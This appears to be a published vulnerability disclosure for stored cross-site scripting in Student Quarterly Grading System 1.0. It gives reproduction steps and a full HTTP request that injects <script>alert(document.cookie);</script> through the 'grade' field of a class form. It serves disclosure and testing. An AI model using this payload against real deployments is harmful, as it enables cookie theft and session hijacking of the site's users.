Student Quarterly Grading System 1.0 Cross Site Scripting

`# Exploit Title: Student Quarterly Grading System 1.0 - 'grade' Stored Cross-Site Scripting (XSS)  
# Date: 11.10.2021  
# Exploit Author: Hüseyin Serkan Balkanli  
# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code  
# Version: 1.0  
# Tested on: Windows 10, Kali Linux  
# Student Quarterly Grading System v1.0 has Stored XSS at "Add New Class" Function.  
  
Steps To Reproduce:  
1 - Click to Class from Menu and click "Add New".  
2 - Enter the payload to "grade" field as "<script>alert(document.cookie);</script>" without double-quotes and choose one of the Subject from list. (It can be anything, doesn't matter.)  
3 - Click on Save and you are done. It's gonna be triggered when anyone visits the application. It's global and can trigger on any page.  
  
PoC  
  
POST /grading_system/Actions.php?a=save_class HTTP/1.1  
Host: localhost  
Content-Length: 457  
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO6Q8ADzs1UvBltkB  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/grading_system/?page=class  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923  
Connection: close  
  
------WebKitFormBoundaryO6Q8ADzs1UvBltkB  
Content-Disposition: form-data; name="id"  
  
  
------WebKitFormBoundaryO6Q8ADzs1UvBltkB  
Content-Disposition: form-data; name="subject_id"  
  
3  
------WebKitFormBoundaryO6Q8ADzs1UvBltkB  
Content-Disposition: form-data; name="grade"  
  
<script>alert(document.cookie);</script>  
------WebKitFormBoundaryO6Q8ADzs1UvBltkB  
Content-Disposition: form-data; name="section"  
  
  
------WebKitFormBoundaryO6Q8ADzs1UvBltkB--  
  
`